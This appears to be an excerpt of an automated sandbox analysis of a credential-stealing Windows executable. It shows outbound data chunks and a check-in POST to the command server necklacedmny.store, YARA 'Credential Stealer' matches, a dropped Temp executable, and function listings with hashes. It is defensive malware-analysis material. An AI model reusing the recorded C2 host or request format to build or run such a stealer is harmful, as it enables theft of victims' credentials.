2024-10-28 20:40:10 UTC	15331	OUT	Data Raw: 08 96 af 50 c3 5c 0f 4e 88 3e ab f4 10 a2 08 f1 7d 62 e7 15 e6 bc 54 2c 55 6b 30 58 f1 6c 40 a0 3c db cf 7a 88 01 2b 38 c2 fe 82 9d ff 9b 3f a6 ce e7 bb 10 c1 8a 6c f1 ac 4d 46 b7 99 d7 a7 8e 10 c2 14 89 c9 27 9d 1f 36 06 eb ec a8 6d c4 c6 07 cd e5 91 13 c5 f7 ab 61 54 f2 c2 19 26 4c af ea 1c 92 a8 c7 93 00 08 f6 ff 23 cc 33 ad 93 95 81 22 19 70 f3 0c 6d 95 1b 2e 6c 0a a3 e0 ce ad 26 37 33 13 fe a5 28 bf cd bb 6f 6d d2 a8 c1 ce 6e 3c a5 9f 78 5f 6e 3d 2e 4c 82 85 7e 36 3a 19 a0 c4 09 22 c4 69 76 4c ec 5d 61 d1 8d ab 6f b5 e8 06 f1 2a f9 c6 28 03 f5 25 46 65 75 b2 68 f2 44 c7 7b 37 25 e2 05 ea d4 fc 2f 7d 18 a9 1e e9 99 01 e0 16 25 33 8d db d4 5d 58 8e 5f ba 9b 81 06 cd 4f a8 31 11 61 b7 f6 fb cc b3 15 5b e8 db 9d 40 f1 10 6b ca b9 80 d3 e1 2c 67 0e b4 18 Data Ascii: P\N>}bT,Uk0Xl@<z+8?lMF'6maT&L#3"pm.l&73(omn<x_n=.L~6:"ivL]ao*(%FeuhD{7%/}%3]X_O1a[@k,g
2024-10-28 20:40:10 UTC	15331	OUT	Data Raw: 43 9e d3 b1 02 91 ca 6f 90 bb 1d 50 d8 a5 36 5d 5a 4a 4b 39 14 80 e0 9a 9f 66 18 eb d6 ad 98 db bf a5 2e 05 9d c6 71 f6 73 fd 04 1f 72 77 14 ee 5c 29 73 91 75 56 14 60 a4 32 d9 1f 05 c2 d8 59 0b 97 a0 ac 2b ba 75 9c 1a 7b ee df 2e 06 f1 9f 58 67 75 c2 ee 29 c8 12 27 bb 39 67 44 31 5a bc 27 b2 e9 6f 9a 64 a9 cf 86 89 29 f3 fc 6f 2e 95 ce fe 47 bf 50 76 bd 6d 66 6a bd dc e6 80 c5 ca dd c1 4c c7 91 22 68 35 f7 c8 4d 54 8b 62 72 3c e6 07 f7 e0 64 06 3a 66 ff f4 c6 ef 13 62 f3 37 22 29 b9 7b 1c d4 3f 01 78 2c 23 68 50 98 45 e1 ef e1 44 7a 24 e0 db eb 6b 1d c6 e0 f0 e2 69 70 69 a7 90 d2 1d f4 45 c2 54 2a bc 58 5d f1 33 98 02 1d fe 7e 7b 86 35 54 4b 27 7a b1 7f 29 91 66 7d 86 33 9e 52 19 c6 a3 59 69 12 b9 62 66 15 d0 6f ec 76 a5 f1 1a 12 68 40 49 de 6a 49 1d 3b Data Ascii: CoP6]ZJK9f.qsrw\)suV`2Y+u{.Xgu)'9gD1Z'od)o.GPvmfjL"h5MTbr<d:fb7"){?x,#hPEDz$kipiET*X]3~{5TK'z)f}3RYibfovh@IjI;
2024-10-28 20:40:10 UTC	15331	OUT	Data Raw: 30 44 be 5b 3a 55 af ea 14 e1 bf 9a 81 20 45 98 00 92 21 f0 a3 f9 71 7e 0f 92 70 9d ce 9a ab 45 c5 2e b1 84 44 4a 02 e8 90 89 a2 d0 2c 23 57 2e 28 8a 8b 1d 2c 30 0e 7e 27 e8 02 16 3d f7 60 af 8e bc d2 81 2e 7d 3e f2 f1 55 8e ed 23 4a 42 b4 0a 6e f5 0c dd 36 bb 1a 07 bc b6 27 5f ce d7 97 46 4e 54 63 b6 cf e7 3d 22 1a 72 3c 67 ed eb d3 9b a8 9a 1c 1b 03 de 5b 42 66 53 8c 01 91 72 19 10 7e d2 dc df 1e 15 00 c1 89 88 7d 33 64 9d c8 7c a0 19 b7 45 c1 ea 74 05 4b 15 6b 1c b6 83 4e ff b5 3f 67 6a b8 ea cd ca f0 55 24 69 66 79 23 f2 f6 e1 2c 6c 6f 27 4a 34 31 a0 a9 f0 4e 92 94 1b 90 f1 1e 7d 6d d4 da ca 8c fc be b0 24 62 52 63 b8 2f a0 61 71 4d 1f 59 d4 b8 54 2f 6c af bf 9b b5 fb f2 cb 24 93 67 b4 31 ae 6a 4b d6 96 49 66 e8 38 b7 f3 1c 46 ef d9 d8 c2 56 8f ac d6 Data Ascii: 0D[:U E!q~pE.DJ,#W.(,0~'=`.}>U#JBn6'_FNTc="r<g[BfSr~}3d\|EtKkN?gjU$ify#,lo'J41N}m$bRc/aqMYT/l$g1jKIf8FV
2024-10-28 20:40:10 UTC	15331	OUT	Data Raw: b4 73 c7 55 e6 7f fa c4 4e 07 a1 d7 a7 c1 ff bf a2 20 c4 0c 44 f9 58 21 60 21 94 38 33 eb 0d 0a 1c 96 b1 6e f5 e0 fb 6c 7b 98 92 f2 31 41 c9 7a 9f 88 ef ce 2f 7c 67 5e 5d 90 dc 98 93 33 09 e5 05 f7 3b b2 b8 74 d4 7b 05 4b e3 0e 1b 45 86 88 04 24 b7 97 4b 77 a5 f1 a0 a3 9e 9f 52 c7 0e a9 94 a1 84 05 a4 e5 d9 bb cf 10 b9 9a 74 03 f1 47 be e1 c5 3d 9e ee 8e 2c 04 23 a8 72 2b 2d c7 01 41 79 1c 32 a6 c3 47 3e 1d f7 77 ad 2d 8b 6b ff c2 97 5f cf 19 bf e5 fa 23 d0 fd 1a 2f cd 51 9a c3 65 96 57 ca 4a b6 c5 ba 9e 8b 44 4a d4 57 f8 ec 1c 20 92 43 2c e3 18 59 5e 3d f7 48 33 55 85 08 ae 43 fb 24 6d 39 40 6a 13 82 c2 01 22 6d 63 56 dd 7f ea e7 e9 3f 5a da 1b 7c 4d a6 63 f1 c2 29 cc 25 a7 f3 e2 b7 ca 58 4f 2e d2 79 39 a2 ab 15 02 3f bc a8 08 a3 86 19 c5 a6 5c 35 cb d9 Data Ascii: sUN DX!`!83nl{1Az/\|g^]3;t{KE$KwRtG=,#r+-Ay2G>w-k_#/QeWJDJW C,Y^=H3UC$m9@j"mcV?Z\|Mc)%XO.y9?\5
2024-10-28 20:40:10 UTC	15331	OUT	Data Raw: d3 be f3 78 cf 35 b6 4d f9 60 7d 7a 47 76 0b 70 0b 32 5c aa bb ba 83 0f d8 f7 f2 01 53 21 4e 80 79 0f fd 2f 50 c7 8c 12 07 fa ef ab 96 8d bd a4 b3 7d f3 ef 0c 1f f3 ce 89 80 cf 08 80 99 5d d8 82 5c 04 e3 28 32 ec 3f 3e 6c 87 60 dc 96 67 9e c5 c0 c3 db 82 ba 2f 0e 43 a4 20 87 cf d4 37 05 12 83 95 38 3d 51 db 82 fa 2a c6 34 c4 63 64 4c 43 ef eb 91 3b a0 46 77 91 13 33 79 86 4d a1 f2 62 33 6b 9d 37 3f 4c 5a 5c 45 7f d6 fe 66 54 1e e4 5a 3e f2 ce 6e ee a2 f6 79 43 46 86 34 56 1b 02 b4 2f 04 5a c9 df 9b 1e 73 64 2e 47 a9 54 94 7e 3c a3 31 77 19 49 c1 ad 15 d9 a5 07 07 23 9d df 69 ae e6 d9 a6 a2 e1 e9 d7 15 e2 88 8b 04 6b 62 98 88 9a 0e 42 49 21 f1 1e fb 4e 72 03 94 81 a0 4f cb 04 ed 76 26 ad ec de 4c bf 03 9e f2 19 6e 47 c8 90 98 d7 41 c8 da 14 b9 08 3a 84 27 Data Ascii: x5M`}zGvp2\S!Ny/P}]\(2?>l`g/C 78=Q*4cdLC;Fw3yMb3k7?LZ\EfTZ>nyCF4V/Zsd.GT~<1wI#ikbBI!NrOv&LnGA:'
2024-10-28 20:40:12 UTC	1024	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 20:40:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9qhrb9ot2opp06v8fnh5p9021d; expires=Fri, 21 Feb 2025 14:26:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sdklC8Msm4HWs%2B1sU3%2FPSaSmr6jN8srVdQLdzPHFGYrew6HGpGMTjNEpO08kux7tTfr2lw0WRQ3cOn0j775xrRtO%2Bh28Zm0rg9tZvcRFAFNRBQat2u4U%2FeQXnywRo9myHgil%2B8A%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9dbd48f8694563-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=19713&sent=222&recv=492&lost=0&retrans=0&sent_bytes=2845&recv_bytes=572988&delivery_rate=145718&cwnd=32&unsent_bytes=0&cid=95da6805f627d5a7&ts=2499&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49711	188.114.96.3	443	6776	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 20:40:13 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-28 20:40:13 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 34 41 30 34 39 32 36 33 36 37 42 43 32 41 36 37 44 45 39 46 35 46 44 36 37 31 38 30 45 45 43 31 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=4A04926367BC2A67DE9F5FD67180EEC1
2024-10-28 20:40:14 UTC	1015	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 20:40:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c3io86vjj6cvrdqe5a6kp6p6qu; expires=Fri, 21 Feb 2025 14:26:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oTPxRA0tyP1%2BuSzLeg%2FH2mBMf52cUF355bB9ZHVoTi%2B1riR6CNOkrN7UeM8Icfs1hVhQsKve2OaCCiIp0lr41t2euXsVS8dIUPL7ks0tuRAgZ5XoOlQDePji%2FkQVIz0q945MzMg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9dbd5d08f96b64-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1074&sent=4&recv=5&lost=0&retrans=0&sent_bytes=2845&recv_bytes=989&delivery_rate=2291139&cwnd=251&unsent_bytes=0&cid=6ff48882b3737c73&ts=568&x=0"
2024-10-28 20:40:14 UTC	130	IN	Data Raw: 37 63 0d 0a 47 6f 71 52 50 59 4f 76 45 2b 45 37 31 31 6c 36 72 69 59 55 4e 4d 46 6f 52 31 41 5a 36 49 4a 75 2b 69 4b 6e 4f 57 49 6f 50 70 64 42 38 62 4e 49 6f 5a 55 78 69 55 2b 6a 4b 55 44 79 43 55 67 62 38 46 42 79 66 69 76 5a 74 30 44 4c 45 35 51 58 55 78 35 69 75 48 58 73 39 32 47 73 79 33 61 48 46 62 49 68 48 34 77 4b 4e 6c 4b 31 53 6e 31 67 4e 63 72 6e 54 4d 41 53 32 6d 51 3d 0d 0a Data Ascii: 7cGoqRPYOvE+E711l6riYUNMFoR1AZ6IJu+iKnOWIoPpdB8bNIoZUxiU+jKUDyCUgb8FByfivZt0DLE5QXUx5iuHXs92Gsy3aHFbIhH4wKNlK1Sn1gNcrnTMAS2mQ=
2024-10-28 20:40:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	16:39:56
Start date:	28/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x80000
File size:	2'895'360 bytes
MD5 hash:	693ECE77C0E3FBC32D18393B31BC55A2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2094081148.0000000000C53000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2108782152.0000000000C55000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2078318593.0000000000C53000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2080407457.0000000000C57000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2111069521.0000000000C55000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2125586525.0000000000C57000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2094616323.0000000000C57000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2127567733.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:40:19
Start date:	28/10/2024
Path:	C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe"
Imagebase:	0xe60000
File size:	2'835'968 bytes
MD5 hash:	1BA0807FE779351DA159864E42D26753
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Function 00C6366F Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2153277359.0000000000C63000.00000004.00000020.00020000.00000000.sdmp, Offset: 00C5D000, based on PE: false

Associated: 00000000.00000003.2127585584.0000000000C5D000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_c57000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8279b3e8c63e8a28277b11a7b33e816ea151040ba1352a76528367281f3213d
Instruction ID: 0f2191be49e00bb4e930631a0ba9505bb33ad08930a0da26eb098fa884cc4db7
Opcode Fuzzy Hash: e8279b3e8c63e8a28277b11a7b33e816ea151040ba1352a76528367281f3213d
Instruction Fuzzy Hash: 12A147B640A3D19FCB27CB30DAA5592BFB0BE1732071C46CED8804F5A3C3659A4AD791

Analysis Process: JJZGOUTRQA0HU75NUH14KKL5I2.exePID: 4676, Parent PID: 6776COMMON

Execution Graph

Execution Coverage:	3.2%
Dynamic/Decrypted Code Coverage:	32.4%
Signature Coverage:	21.6%
Total number of Nodes:	37
Total number of Limit Nodes:	2

Executed Functions

Function 0101795E Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 105
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE ref: 0101795E

Strings

v, xrefs: 01017A50

Memory Dump Source

Source File: 00000003.00000002.2409945806.0000000001017000.00000080.00000001.01000000.00000006.sdmp, Offset: 00E60000, based on PE: true

Associated: 00000003.00000002.2409503551.0000000000E60000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409552862.0000000000E62000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409595923.0000000000E66000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409632736.0000000000E6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409657613.0000000000E76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409767934.0000000000FDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409790987.0000000000FDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409815601.0000000000FF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409815601.0000000001001000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409861113.0000000001008000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409882220.000000000100B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409903919.0000000001013000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409924887.0000000001014000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409966690.000000000101A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409996621.000000000103B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410018439.000000000103E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410038394.000000000103F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410058873.0000000001048000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410085801.000000000106E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410107160.0000000001070000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410128335.0000000001077000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410225378.0000000001078000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410272987.0000000001079000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410315955.000000000107E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410353853.000000000107F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410377130.0000000001083000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410399949.000000000108B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410421348.000000000108C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410441542.000000000108D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410463512.0000000001092000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410490133.000000000109B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410516076.00000000010A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410543788.00000000010AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410565025.00000000010AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410592356.00000000010BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410614065.00000000010C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410653647.0000000001103000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410653647.000000000110B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410702843.000000000111A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410726696.000000000111C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e60000_JJZGOUTRQA0HU75NUH14KKL5I2.jbxd

Similarity

API ID: Sleep
String ID: v
API String ID: 3472027048-644420861
Opcode ID: ac0aa638f4d15415fda7c51897ba7c5618787d83074999820e1bad57cb10d1e3
Instruction ID: 5740e722ea4ec8b902e439753a556e0fb39438d221dd59801adab6829f8a599d
Opcode Fuzzy Hash: ac0aa638f4d15415fda7c51897ba7c5618787d83074999820e1bad57cb10d1e3
Instruction Fuzzy Hash: FF3116B250D604AFD709AF28DC8267EFBE9EF59310F16092EE2C5C2620D7759480CB97

Function 056315D0 Relevance: 1.8, APIs: 1, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 056318C8

Memory Dump Source

Source File: 00000003.00000002.2412945655.0000000005630000.00000040.00000800.00020000.00000000.sdmp, Offset: 05630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5630000_JJZGOUTRQA0HU75NUH14KKL5I2.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: 605802cb00e0f936dda2727514a1938cbbae85799fe27bdeaa026312fab3d0c4
Instruction ID: f44f7f1a9b01cc97cda4981ea016dad7d3dea0adee3d94f3f2d9f3994616b538
Opcode Fuzzy Hash: 605802cb00e0f936dda2727514a1938cbbae85799fe27bdeaa026312fab3d0c4
Instruction Fuzzy Hash: 60C13971D002599FDB10CFA8CD467AEBBB2BF4A310F148169EC59A7394EB748885CB81

Function 00FF6089 Relevance: 1.6, APIs: 1, Instructions: 115
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00FF6089

Memory Dump Source

Source File: 00000003.00000002.2409815601.0000000000FF3000.00000040.00000001.01000000.00000006.sdmp, Offset: 00E60000, based on PE: true

Associated: 00000003.00000002.2409503551.0000000000E60000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409552862.0000000000E62000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409595923.0000000000E66000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409632736.0000000000E6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409657613.0000000000E76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409767934.0000000000FDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409790987.0000000000FDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409815601.0000000001001000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409861113.0000000001008000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409882220.000000000100B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409903919.0000000001013000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409924887.0000000001014000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409945806.0000000001017000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409966690.000000000101A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409996621.000000000103B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410018439.000000000103E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410038394.000000000103F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410058873.0000000001048000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410085801.000000000106E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410107160.0000000001070000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410128335.0000000001077000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410225378.0000000001078000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410272987.0000000001079000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410315955.000000000107E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410353853.000000000107F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410377130.0000000001083000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410399949.000000000108B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410421348.000000000108C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410441542.000000000108D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410463512.0000000001092000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410490133.000000000109B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410516076.00000000010A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410543788.00000000010AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410565025.00000000010AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410592356.00000000010BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410614065.00000000010C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410653647.0000000001103000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410653647.000000000110B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410702843.000000000111A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410726696.000000000111C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e60000_JJZGOUTRQA0HU75NUH14KKL5I2.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 7ba92a4ba6311696df134712a3e04b9a069a96f215886b7fac600e774dd401cb
Instruction ID: def0a71bbe43b2bbb918d555552465724d56fe70f2e4fbd6068b9cbb4c47a5cf
Opcode Fuzzy Hash: 7ba92a4ba6311696df134712a3e04b9a069a96f215886b7fac600e774dd401cb
Instruction Fuzzy Hash: 93311CF251C700AFE705AF18D881BBABBE9EF54720F16482DE7C4C3651EA3558408B9B

Function 00E6B7E6 Relevance: 1.3, Strings: 1, Instructions: 18COMMON

Download Yara Rule

Strings

!!iH, xrefs: 00E6B956

Memory Dump Source

Source File: 00000003.00000002.2409632736.0000000000E6A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00E60000, based on PE: true

Associated: 00000003.00000002.2409503551.0000000000E60000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409552862.0000000000E62000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409595923.0000000000E66000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409657613.0000000000E76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409767934.0000000000FDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409790987.0000000000FDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409815601.0000000000FF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409815601.0000000001001000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409861113.0000000001008000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409882220.000000000100B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409903919.0000000001013000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409924887.0000000001014000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409945806.0000000001017000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409966690.000000000101A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409996621.000000000103B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410018439.000000000103E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410038394.000000000103F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410058873.0000000001048000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410085801.000000000106E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410107160.0000000001070000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410128335.0000000001077000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410225378.0000000001078000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410272987.0000000001079000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410315955.000000000107E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410353853.000000000107F000.00000080.00000001.01000000.00000006.sdmpDownload File
